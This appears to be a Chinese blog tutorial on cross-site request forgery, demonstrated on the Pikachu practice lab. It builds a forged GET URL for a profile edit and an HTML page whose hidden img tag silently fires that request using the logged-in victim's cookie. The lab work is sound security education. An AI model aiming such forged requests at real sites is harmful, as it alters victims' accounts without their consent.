CSRF:跨站请求伪造原理与实例

原理:

1 现有a和b两个网站,其中a网站为受害者常用网站,网站内存在csrf漏洞。b网站为攻击者网站,存在恶意代码

2 当受害者登录a网站并保存了该网站的cookie,在未退出登录的情况下,点击攻击者发送的链接,跳转到攻击者所创建的网站

3 进入攻击者网站时,触发网站中的恶意代码,使攻击者,伪装成受害者所在网站的账户,进行操作

GET类型实例pikachu

实现更改用户信息

1.登录lili用户

2.编辑用户信息并提交

3.由于提交过后会直接跳转,此处使用bp,抓包查看提交参数:在提交时断网也可在url中看见

4.复制接口地址,并拼接url

http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili\&phonenum=18656565545\&add=10ss\&email=lili%40pikachu.com\&submit=submit

5.编写前端脚本

使用img标签,使加载时携带指定参数向接口发送请求

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <img src="http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili&phonenum=18656565545&add=10ss&email=lili%40pikachu.com&submit=submit">
</body>
</html>

6.访问攻击者网站,实现攻击

<1.用户点击链接

<2.进入网站,触发图片加载,向接口发送请求,实现修改数据

用户正常使用与攻击者网页发送的请求,进行cookie的比较,其cookie值相同

相关推荐
ywl4708120871 小时前
springSecurity+jwt,简单版demo
java·前端·servlet
想吃火锅10051 小时前
【前端手撕】promise.all
前端
lichenyang4531 小时前
动态加载 vs 延迟加载:为什么 demo 里「延迟」看起来没效果?
前端
cypking2 小时前
从零搭建 Claude Code + Chrome MCP 浏览器自动化:前端 E2E 端到端测试完整教程(包含增量测试)
前端·chrome·自动化
Levi_J2 小时前
Vue2 升级 Vue3 项目实战
前端
前端拷贝猿2 小时前
扫码领券功能需求分析
前端
前端拷贝猿2 小时前
设备活动弹窗功能需求分析
前端
飞天狗1112 小时前
零基础JavaWeb入门——第五课第一小节:九大内置对象 · 第1个:request(请求对象)
java·开发语言·前端·后端·servlet
a15108416932 小时前
记一次大模型探索
java·服务器·前端
石山代码2 小时前
变量与解构
开发语言·前端·javascript